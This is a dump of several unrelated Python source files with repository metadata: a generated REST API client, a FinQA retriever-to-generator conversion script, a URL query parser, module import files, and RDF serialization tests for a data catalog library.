all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method list_conversations" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'app_id' is set if self.api_client.client_side_validation and ('app_id' not in local_var_params or # noqa: E501 local_var_params['app_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `app_id` when calling `list_conversations`") # noqa: E501 # verify the required parameter 'filter' is set if self.api_client.client_side_validation and ('filter' not in local_var_params or # noqa: E501 local_var_params['filter'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `filter` when calling `list_conversations`") # noqa: E501 collection_formats = {} path_params = {} if 'app_id' in local_var_params: path_params['appId'] = local_var_params['app_id'] # noqa: E501 query_params = [] if 'page' in local_var_params and local_var_params['page'] is not None: # noqa: E501 query_params.append(('page', local_var_params['page'])) # noqa: E501 if 'filter' in local_var_params and local_var_params['filter'] is not None: # noqa: E501 query_params.append(('filter', local_var_params['filter'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth', 'bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/apps/{appId}/conversations', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ConversationListResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def update_conversation(self, app_id, conversation_id, conversation_update_body, **kwargs): # noqa: E501 """Update Conversation # noqa: E501 Updates a conversation record. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_conversation(app_id, conversation_id, conversation_update_body, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param str conversation_id: Identifies the conversation. (required) :param ConversationUpdateBody conversation_update_body: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: ConversationResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.update_conversation_with_http_info(app_id, conversation_id, conversation_update_body, **kwargs) # noqa: E501 def update_conversation_with_http_info(self, app_id, conversation_id, conversation_update_body, **kwargs): # noqa: E501 """Update Conversation # noqa: E501 Updates a conversation record. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_conversation_with_http_info(app_id, conversation_id, conversation_update_body, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str app_id: Identifies the app. (required) :param str conversation_id: Identifies the conversation. (required) :param ConversationUpdateBody conversation_update_body: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(ConversationResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'app_id', 'conversation_id', 'conversation_update_body' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method update_conversation" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'app_id' is set if self.api_client.client_side_validation and ('app_id' not in local_var_params or # noqa: E501 local_var_params['app_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `app_id` when calling `update_conversation`") # noqa: E501 # verify the required parameter 'conversation_id' is set if self.api_client.client_side_validation and ('conversation_id' not in local_var_params or # noqa: E501 local_var_params['conversation_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `conversation_id` when calling `update_conversation`") # noqa: E501 # verify the required parameter 'conversation_update_body' is set if self.api_client.client_side_validation and ('conversation_update_body' not in local_var_params or # noqa: E501 local_var_params['conversation_update_body'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `conversation_update_body` when calling `update_conversation`") # noqa: E501 collection_formats = {} path_params = {} if 'app_id' in local_var_params: path_params['appId'] = local_var_params['app_id'] # noqa: E501 if 'conversation_id' in local_var_params: path_params['conversationId'] = local_var_params['conversation_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'conversation_update_body' in local_var_params: body_params = local_var_params['conversation_update_body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth', 'bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/apps/{appId}/conversations/{conversationId}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ConversationResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats)

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b2dbb40059f787d12da45bfd9ae2a50f20793b6b

10,000

py

Python

code/generator/Convert.py

humblef00ls/FinQA-new

ddef84d4dc397f5e14cb1623bc86dac133a8821c

[ "MIT" ]

null

code/generator/Convert.py

humblef00ls/FinQA-new

ddef84d4dc397f5e14cb1623bc86dac133a8821c

[ "MIT" ]

null

code/generator/Convert.py

humblef00ls/FinQA-new

ddef84d4dc397f5e14cb1623bc86dac133a8821c

[ "MIT" ]

null

import argparse import collections import json import os import sys import random ''' convert retriever results to generator test input ''' def remove_space(text_in): res = [] for tmp in text_in.split(" "): if tmp != "": res.append(tmp) return " ".join(res) def table_row_to_text(header, row): ''' use templates to convert table row to text ''' res = "" if header[0]: res += (header[0] + " ") for head, cell in zip(header[1:], row[1:]): res += ("The " + row[0] + " of " + head + " is " + cell + " ; ") res = remove_space(res) return res.strip() # for single sent retrieve def convert_test(json_in, json_out, topn, max_len): with open(json_in) as f_in: data = json.load(f_in) for each_data in data: table_retrieved = each_data["table_retrieved"] text_retrieved = each_data["text_retrieved"] pre_text = each_data["pre_text"] post_text = each_data["post_text"] all_text = pre_text + post_text table = each_data["table"] all_retrieved = each_data["table_retrieved"] + \ each_data["text_retrieved"] sorted_dict = sorted( all_retrieved, key=lambda kv: kv["score"], reverse=True) acc_len = 0 all_text_in = {} all_table_in = {} for tmp in sorted_dict: if len(all_table_in) + len(all_text_in) >= topn: break this_sent_ind = int(tmp["ind"].split("_")[1]) if "table" in tmp["ind"]: this_sent = table_row_to_text(table[0], table[this_sent_ind]) else: this_sent = all_text[this_sent_ind] if acc_len + len(this_sent.split(" ")) < max_len: if "table" in tmp["ind"]: all_table_in[tmp["ind"]] = this_sent else: all_text_in[tmp["ind"]] = this_sent acc_len += len(this_sent.split(" ")) else: break this_model_input = [] # sorted_dict = sorted(all_table_in.items(), key=lambda kv: int(kv[0].split("_")[1])) # this_model_input.extend(sorted_dict) # sorted_dict = sorted(all_text_in.items(), key=lambda kv: int(kv[0].split("_")[1])) # this_model_input.extend(sorted_dict) # original_order sorted_dict_table = sorted( all_table_in.items(), key=lambda kv: int(kv[0].split("_")[1])) sorted_dict_text = sorted( all_text_in.items(), key=lambda kv: int(kv[0].split("_")[1])) for tmp in sorted_dict_text: if int(tmp[0].split("_")[1]) < len(pre_text): this_model_input.append(tmp) for tmp in sorted_dict_table: this_model_input.append(tmp) for tmp in sorted_dict_text: if int(tmp[0].split("_")[1]) >= len(pre_text): this_model_input.append(tmp) each_data["qa"]["model_input"] = this_model_input with open(json_out, "w") as f: json.dump(data, f, indent=4) print(len(data)) def convert_train(json_in, json_out, topn, max_len): with open(json_in) as f_in: data = json.load(f_in) for each_data in data: table_retrieved = each_data["table_retrieved"] text_retrieved = each_data["text_retrieved"] pre_text = each_data["pre_text"] post_text = each_data["post_text"] all_text = pre_text + post_text gold_inds = each_data["qa"]["gold_inds"] table = each_data["table"] all_retrieved = each_data["table_retrieved"] + \ each_data["text_retrieved"] false_retrieved = [] for tmp in all_retrieved: if tmp["ind"] not in gold_inds: false_retrieved.append(tmp) sorted_dict = sorted( false_retrieved, key=lambda kv: kv["score"], reverse=True) acc_len = 0 all_text_in = {} all_table_in = {} for tmp in gold_inds: if "table" in tmp: all_table_in[tmp] = gold_inds[tmp] else: all_text_in[tmp] = gold_inds[tmp] context = "" for tmp in gold_inds: context += gold_inds[tmp] acc_len = len(context.split(" ")) for tmp in sorted_dict: if len(all_table_in) + len(all_text_in) >= topn: break this_sent_ind = int(tmp["ind"].split("_")[1]) if "table" in tmp["ind"]: this_sent = table_row_to_text(table[0], table[this_sent_ind]) else: this_sent = all_text[this_sent_ind] if acc_len + len(this_sent.split(" ")) < max_len: if "table" in tmp["ind"]: all_table_in[tmp["ind"]] = this_sent else: all_text_in[tmp["ind"]] = this_sent acc_len += len(this_sent.split(" ")) else: break this_model_input = [] # sorted_dict = sorted(all_table_in.items(), key=lambda kv: int(kv[0].split("_")[1])) # this_model_input.extend(sorted_dict) # sorted_dict = sorted(all_text_in.items(), key=lambda kv: int(kv[0].split("_")[1])) # this_model_input.extend(sorted_dict) # original_order sorted_dict_table = sorted( all_table_in.items(), key=lambda kv: int(kv[0].split("_")[1])) sorted_dict_text = sorted( all_text_in.items(), key=lambda kv: int(kv[0].split("_")[1])) for tmp in sorted_dict_text: if int(tmp[0].split("_")[1]) < len(pre_text): this_model_input.append(tmp) for tmp in sorted_dict_table: this_model_input.append(tmp) for tmp in sorted_dict_text: if int(tmp[0].split("_")[1]) >= len(pre_text): this_model_input.append(tmp) each_data["qa"]["model_input"] = this_model_input with open(json_out, "w") as f: json.dump(data, f, indent=4) def convert_test_infer(json_in, json_out, topn, mode): with open(json_in) as f_in: data = json.load(f_in) for each_data in data: table_retrieved = each_data["table_retrieved_all"] text_retrieved = each_data["text_retrieved_all"] pre_text = each_data["pre_text"] post_text = each_data["post_text"] all_text = pre_text + post_text table = each_data["table"] # all_retrieved = each_data["table_retrieved"] + each_data["text_retrieved"] # sorted_dict = sorted(all_retrieved, key=lambda kv: kv["score"], reverse=True) sorted_dict_text = sorted( text_retrieved, key=lambda kv: kv["score"], reverse=True) sorted_dict_table = sorted( table_retrieved, key=lambda kv: kv["score"], reverse=True) # print(sorted_dict_table) acc_len = 0 all_text_in = {} all_table_in = {} # if mode == "table": for tmp in sorted_dict_table[:topn]: this_sent_ind = int(tmp["ind"].split("_")[1]) this_sent = table_row_to_text(table[0], table[this_sent_ind]) all_table_in[tmp["ind"]] = this_sent for tmp in sorted_dict_text[:topn]: this_sent_ind = int(tmp["ind"].split("_")[1]) all_text_in[tmp["ind"]] = all_text[this_sent_ind] this_model_input = [] # sorted_dict = sorted(all_table_in.items(), key=lambda kv: int(kv[0].split("_")[1])) # this_model_input.extend(sorted_dict) # sorted_dict = sorted(all_text_in.items(), key=lambda kv: int(kv[0].split("_")[1])) # this_model_input.extend(sorted_dict) # original_order sorted_dict_table = sorted( all_table_in.items(), key=lambda kv: int(kv[0].split("_")[1])) sorted_dict_text = sorted( all_text_in.items(), key=lambda kv: int(kv[0].split("_")[1])) # for tmp in sorted_dict_text: # if int(tmp[0].split("_")[1]) < len(pre_text): # this_model_input.append(tmp) # for tmp in sorted_dict_table: # this_model_input.append(tmp) # for tmp in sorted_dict_text: # if int(tmp[0].split("_")[1]) >= len(pre_text): # this_model_input.append(tmp) if mode == "table": for tmp in sorted_dict_table: this_model_input.append(tmp) else: for tmp in sorted_dict_text: this_model_input.append(tmp) each_data["qa"]["model_input"] = this_model_input with open(json_out, "w") as f: json.dump(data, f, indent=4) print(len(data)) if __name__ == '__main__': root = "/home/leo_lin_colab/FinQA-main/" ### convert the results from the retriever. ### json_in is the inference result file generated from the retriever. Edit the paths here. json_in = root + "code/retriever/path_to_store_outputs/inference_only_20211205213023_retriever-bert-base-train_toy/results/test/predictions.json" json_out = root + "dataset/train_toy_retrieve.json" convert_train(json_in, json_out, topn=3, max_len=290) json_in = root + "code/retriever/path_to_store_outputs/inference_only_20211205212940_retriever-bert-base-dev_toy/results/test/predictions.json" json_out = root + "dataset/dev_toy_retrieve.json" convert_train(json_in, json_out, topn=3, max_len=290) json_in = root + "code/retriever/path_to_store_outputs/inference_only_20211205212832_retriever-bert-base-test_toy/results/test/predictions.json" json_out = root + "dataset/test_toy_retrieve.json" convert_test(json_in, json_out, topn=3, max_len=290) # json_in = root + "outputs/inference_only_20210505220955_retriever-bert-base-7k-test-new/results/test/predictions.json" # json_out = root + "FinQA/dataset/test_retrieve_7k_text_only.json" # convert_test_infer(json_in, json_out, topn=3, mode="text")

31.64557

149

0.5919

1,370

10,000

3.99562

0.092701

0.071246

0.058824

0.038363

0.814943

0.796675

0.782974

0.770004

0.74662

0.696931

0

0.017407

0.2819

10,000

315

150

31.746032

0.744882

0.1704

0

0.710383

0

0.016393

0.110908

0.060584

0

1

0.027322

false

0

0.032787

0

0.071038

0.010929

0

null

0

1

0

1

0

null

0

7

b2e9d2dcb3a0622d6b62b0ea852e72d24d8f5d2a

108

py

Python

source/utils/__init__.py

EmilePapillon/Udacity-MLND-Capstone

e5b5112c0a8c24fca32dc60953b93c5e4772b5cb

[ "MIT" ]

19

2022-01-19T08:26:26.000Z

2022-03-25T18:17:57.000Z

source/utils/__init__.py

EmilePapillon/Udacity-MLND-Capstone

e5b5112c0a8c24fca32dc60953b93c5e4772b5cb

[ "MIT" ]

null

source/utils/__init__.py

EmilePapillon/Udacity-MLND-Capstone

e5b5112c0a8c24fca32dc60953b93c5e4772b5cb

[ "MIT" ]

5

2022-01-20T07:03:06.000Z

2022-03-06T01:48:14.000Z

from .dir_utils import * from .image_utils import * from .model_utils import * from .dataset_utils import *

21.6

28

0.777778

16

108

5

0.4375

0.55

0.5625

0

0.148148

108

4

29

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0.869565

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true

0

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null

0

1

0

1

0

1

0

7

b2eec956624d63cc34822c5d8782052aa71d91ae

2,947

py

Python

venv/Lib/site-packages/qcs_api_client/operations/sync_from_dict/__init__.py

Holly-Jiang/QCTSA

b90136b9df18fc21ae53b431f1e5e0c6ef786fae

[ "MIT" ]

null

venv/Lib/site-packages/qcs_api_client/operations/sync_from_dict/__init__.py

Holly-Jiang/QCTSA

b90136b9df18fc21ae53b431f1e5e0c6ef786fae

[ "MIT" ]

null

venv/Lib/site-packages/qcs_api_client/operations/sync_from_dict/__init__.py

Holly-Jiang/QCTSA

b90136b9df18fc21ae53b431f1e5e0c6ef786fae

[ "MIT" ]

null

from qcs_api_client.api.account.add_group_user import sync_from_dict as add_group_user from qcs_api_client.api.account.list_group_users import sync_from_dict as list_group_users from qcs_api_client.api.account.list_user_groups import sync_from_dict as list_user_groups from qcs_api_client.api.account.remove_group_user import sync_from_dict as remove_group_user from qcs_api_client.api.authentication.auth_email_password_reset_token import ( sync_from_dict as auth_email_password_reset_token, ) from qcs_api_client.api.authentication.auth_get_user import sync_from_dict as auth_get_user from qcs_api_client.api.authentication.auth_reset_password import sync_from_dict as auth_reset_password from qcs_api_client.api.authentication.auth_reset_password_with_token import ( sync_from_dict as auth_reset_password_with_token, ) from qcs_api_client.api.client_applications.check_client_application import sync_from_dict as check_client_application from qcs_api_client.api.client_applications.get_client_application import sync_from_dict as get_client_application from qcs_api_client.api.client_applications.list_client_applications import sync_from_dict as list_client_applications from qcs_api_client.api.default.get_health import sync_from_dict as get_health from qcs_api_client.api.default.health_check import sync_from_dict as health_check from qcs_api_client.api.endpoints.create_endpoint import sync_from_dict as create_endpoint from qcs_api_client.api.endpoints.delete_endpoint import sync_from_dict as delete_endpoint from qcs_api_client.api.endpoints.get_default_endpoint import sync_from_dict as get_default_endpoint from qcs_api_client.api.endpoints.get_endpoint import sync_from_dict as get_endpoint from qcs_api_client.api.endpoints.list_endpoints import sync_from_dict as list_endpoints from qcs_api_client.api.engagements.create_engagement import sync_from_dict as create_engagement from qcs_api_client.api.quantum_processors.get_instruction_set_architecture import ( sync_from_dict as get_instruction_set_architecture, ) from qcs_api_client.api.quantum_processors.get_quantum_processor import sync_from_dict as get_quantum_processor from qcs_api_client.api.quantum_processors.list_quantum_processors import sync_from_dict as list_quantum_processors from qcs_api_client.api.reservations.create_reservation import sync_from_dict as create_reservation from qcs_api_client.api.reservations.delete_reservation import sync_from_dict as delete_reservation from qcs_api_client.api.reservations.find_available_reservations import sync_from_dict as find_available_reservations from qcs_api_client.api.reservations.list_reservations import sync_from_dict as list_reservations from qcs_api_client.api.translation.get_quilt_calibrations import sync_from_dict as get_quilt_calibrations from qcs_api_client.api.translation.translate_native_quil_to_encrypted_binary import ( sync_from_dict as translate_native_quil_to_encrypted_binary, )

79.648649

118

0.902273

478

2,947

5.089958

0.112971

0.114673

0.115084

0.184135

0.819153

0.776819

0.431977

0.19852

0.085491

0

0.065151

2,947

36

119

81.861111

0.883122

0

1

0

true

0.138889

0.777778

0

0.777778

0

null

0

1

0

null

0

1

0

1

0

7

653ef93c96f60e11c71ef79510d65ba389a993a5

2,151

py

Python

__scraping__/sharesansar.com - requests, JSON/main-parse-url.py

furas/python-code

223d8245c6a2a058031f302feaffd9a4f900110e

[ "MIT" ]

2

2015-12-12T20:14:12.000Z

2016-08-13T00:42:10.000Z

__scraping__/sharesansar.com - requests, JSON/main-parse-url.py

furas/python-code

223d8245c6a2a058031f302feaffd9a4f900110e

[ "MIT" ]

null

__scraping__/sharesansar.com - requests, JSON/main-parse-url.py

furas/python-code

223d8245c6a2a058031f302feaffd9a4f900110e

[ "MIT" ]

null

import urllib.parse import pprint query = 'draw=1&columns%5B0%5D%5Bdata%5D=DT_Row_Index&columns%5B0%5D%5Bname%5D=&columns%5B0%5D%5Bsearchable%5D=false&columns%5B0%5D%5Borderable%5D=false&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=published_date&columns%5B1%5D%5Bname%5D=&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=false&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=open&columns%5B2%5D%5Bname%5D=&columns%5B2%5D%5Bsearchable%5D=false&columns%5B2%5D%5Borderable%5D=false&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B3%5D%5Bdata%5D=high&columns%5B3%5D%5Bname%5D=&columns%5B3%5D%5Bsearchable%5D=false&columns%5B3%5D%5Borderable%5D=false&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B4%5D%5Bdata%5D=low&columns%5B4%5D%5Bname%5D=&columns%5B4%5D%5Bsearchable%5D=false&columns%5B4%5D%5Borderable%5D=false&columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B5%5D%5Bdata%5D=close&columns%5B5%5D%5Bname%5D=&columns%5B5%5D%5Bsearchable%5D=false&columns%5B5%5D%5Borderable%5D=false&columns%5B5%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B5%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B6%5D%5Bdata%5D=per_change&columns%5B6%5D%5Bname%5D=&columns%5B6%5D%5Bsearchable%5D=false&columns%5B6%5D%5Borderable%5D=false&columns%5B6%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B6%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B7%5D%5Bdata%5D=traded_quantity&columns%5B7%5D%5Bname%5D=&columns%5B7%5D%5Bsearchable%5D=false&columns%5B7%5D%5Borderable%5D=false&columns%5B7%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B7%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B8%5D%5Bdata%5D=traded_amount&columns%5B8%5D%5Bname%5D=&columns%5B8%5D%5Bsearchable%5D=false&columns%5B8%5D%5Borderable%5D=false&columns%5B8%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B8%5D%5Bsearch%5D%5Bregex%5D=false&start=0&length=20&search%5Bvalue%5D=&search%5Bregex%5D=false&company=95&_=1639245456705' items = urllib.parse.parse_qs(query) pprint.pprint(items)

239

2,055

0.812645

379

2,151

4.591029

0.134565

0.108621

0.201149

0.087931

0.647701

0.311494

0.151724

0

0.153954

0.006509

2,151

8

2,056

268.875

0.660271

0

0.2

0.951163

0

1

0

false

0

0.4

0

0.4

0

null

0

1

0

1

0

1

null

0

1

0

7

e8ff1e08ecbbffb3168d7c779989697ef937dce2

10,251

py

Python

tests/test_catalogrecord.py

Informasjonsforvaltning/datacatalogtordf

7e21186e9bd03e434a0319b2f36aecf78d7c16ee

[ "Apache-2.0" ]

2

2020-05-18T06:57:12.000Z

2020-06-25T12:46:42.000Z

tests/test_catalogrecord.py

Informasjonsforvaltning/datacatalogtordf

7e21186e9bd03e434a0319b2f36aecf78d7c16ee

[ "Apache-2.0" ]

42

2020-03-17T16:09:56.000Z

2022-03-28T06:12:01.000Z

tests/test_catalogrecord.py

Informasjonsforvaltning/datacatalogtordf

7e21186e9bd03e434a0319b2f36aecf78d7c16ee

[ "Apache-2.0" ]

null

"""Test cases for the dataset module.""" from pytest_mock import MockFixture from rdflib import Graph from rdflib.compare import graph_diff, isomorphic from skolemizer.testutils import skolemization from datacatalogtordf import CatalogRecord from datacatalogtordf import Dataset from tests.testutils import assert_isomorphic def test_to_graph_should_return_identifier_set_at_constructor() -> None: """It returns an identifier graph isomorphic to spec.""" catalogrecord = CatalogRecord("http://example.com/datasets/1") src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . @prefix dcat: <http://www.w3.org/ns/dcat#> . <http://example.com/datasets/1> a dcat:CatalogRecord . """ g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") _isomorphic = isomorphic(g1, g2) if not _isomorphic: _dump_diff(g1, g2) pass assert _isomorphic def test_to_graph_should_return_identifier() -> None: """It returns an identifier graph isomorphic to spec.""" catalogrecord = CatalogRecord() catalogrecord.identifier = "http://example.com/datasets/1" src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . @prefix dcat: <http://www.w3.org/ns/dcat#> . <http://example.com/datasets/1> a dcat:CatalogRecord . """ g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") _isomorphic = isomorphic(g1, g2) if not _isomorphic: _dump_diff(g1, g2) pass assert _isomorphic def test_to_graph_should_return_skolemization(mocker: MockFixture) -> None: """It returns a skolemized identifier graph isomorphic to spec.""" catalogrecord = CatalogRecord() src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . @prefix dcat: <http://www.w3.org/ns/dcat#> . @prefix foaf: <http://xmlns.com/foaf/0.1/> . <http://wwww.digdir.no/.well-known/skolem/284db4d2-80c2-11eb-82c3-83e80baa2f94> a dcat:CatalogRecord . """ mocker.patch( "skolemizer.Skolemizer.add_skolemization", return_value=skolemization, ) g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") assert_isomorphic(g1, g2) def test_to_graph_should_return_title() -> None: """It returns a title graph isomorphic to spec.""" """It returns an identifier graph isomorphic to spec.""" catalogrecord = CatalogRecord() catalogrecord.identifier = "http://example.com/catalogrecords/1" catalogrecord.title = {"nb": "Tittel 1", "en": "Title 1"} src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . @prefix dcat: <http://www.w3.org/ns/dcat#> . <http://example.com/catalogrecords/1> a dcat:CatalogRecord ; dct:title "Title 1"@en, "Tittel 1"@nb ; . """ g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") _isomorphic = isomorphic(g1, g2) if not _isomorphic: _dump_diff(g1, g2) pass assert _isomorphic def test_to_graph_should_return_description() -> None: """It returns a description graph isomorphic to spec.""" catalogrecord = CatalogRecord() catalogrecord.identifier = "http://example.com/catalogrecords/1" catalogrecord.description = {"nb": "Beskrivelse", "en": "Description"} src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . @prefix dcat: <http://www.w3.org/ns/dcat#> . <http://example.com/catalogrecords/1> a dcat:CatalogRecord ; dct:description "Description"@en, "Beskrivelse"@nb ; . """ g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") _isomorphic = isomorphic(g1, g2) if not _isomorphic: _dump_diff(g1, g2) pass assert _isomorphic def test_to_graph_should_return_listing_date() -> None: """It returns a listing_date graph isomorphic to spec.""" catalogrecord = CatalogRecord() catalogrecord.identifier = "http://example.com/catalogrecords/1" catalogrecord.listing_date = "2019-12-31" src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . @prefix dcat: <http://www.w3.org/ns/dcat#> . @prefix xsd: <http://www.w3.org/2001/XMLSchema#> . <http://example.com/catalogrecords/1> a dcat:CatalogRecord ; dct:issued "2019-12-31"^^xsd:date ; . """ g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") _isomorphic = isomorphic(g1, g2) if not _isomorphic: _dump_diff(g1, g2) pass assert _isomorphic def test_to_graph_should_return_modification_date() -> None: """It returns a modification_date graph isomorphic to spec.""" catalogrecord = CatalogRecord() catalogrecord.identifier = "http://example.com/catalogrecords/1" catalogrecord.modification_date = "2019-12-31" src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . @prefix dcat: <http://www.w3.org/ns/dcat#> . @prefix xsd: <http://www.w3.org/2001/XMLSchema#> . <http://example.com/catalogrecords/1> a dcat:CatalogRecord ; dct:modified "2019-12-31"^^xsd:date ; . """ g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") _isomorphic = isomorphic(g1, g2) if not _isomorphic: _dump_diff(g1, g2) pass assert _isomorphic def test_to_graph_should_return_primary_topic() -> None: """It returns a primary_topic graph isomorphic to spec.""" catalogrecord = CatalogRecord() catalogrecord.identifier = "http://example.com/catalogrecords/1" dataset = Dataset() dataset.identifier = "http://example.com/datasets/1" catalogrecord.primary_topic = dataset src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . @prefix dcat: <http://www.w3.org/ns/dcat#> . @prefix foaf: <http://xmlns.com/foaf/0.1/> . <http://example.com/catalogrecords/1> a dcat:CatalogRecord ; foaf:primaryTopic <http://example.com/datasets/1>; . """ g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") _isomorphic = isomorphic(g1, g2) if not _isomorphic: _dump_diff(g1, g2) pass assert _isomorphic def test_to_graph_should_return_primary_topic_skolemization( mocker: MockFixture, ) -> None: """It returns a primary_topic graph isomorphic to spec.""" catalogrecord = CatalogRecord() catalogrecord.identifier = "http://example.com/catalogrecords/1" dataset = Dataset() catalogrecord.primary_topic = dataset src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . @prefix dcat: <http://www.w3.org/ns/dcat#> . @prefix foaf: <http://xmlns.com/foaf/0.1/> . <http://example.com/catalogrecords/1> a dcat:CatalogRecord ; foaf:primaryTopic <http://wwww.digdir.no/.well-known/skolem/284db4d2-80c2-11eb-82c3-83e80baa2f94> . """ mocker.patch( "skolemizer.Skolemizer.add_skolemization", return_value=skolemization, ) g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") _isomorphic = isomorphic(g1, g2) if not _isomorphic: _dump_diff(g1, g2) pass assert _isomorphic def test_to_graph_should_return_conforms_to() -> None: """It returns a conforms_to graph isomorphic to spec.""" catalogrecord = CatalogRecord() catalogrecord.identifier = "http://example.com/catalogrecords/1" catalogrecord.conforms_to.append("http://example.com/standards/1") catalogrecord.conforms_to.append("http://example.com/standards/2") src = """ @prefix dct: <http://purl.org/dc/terms/> . @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> . 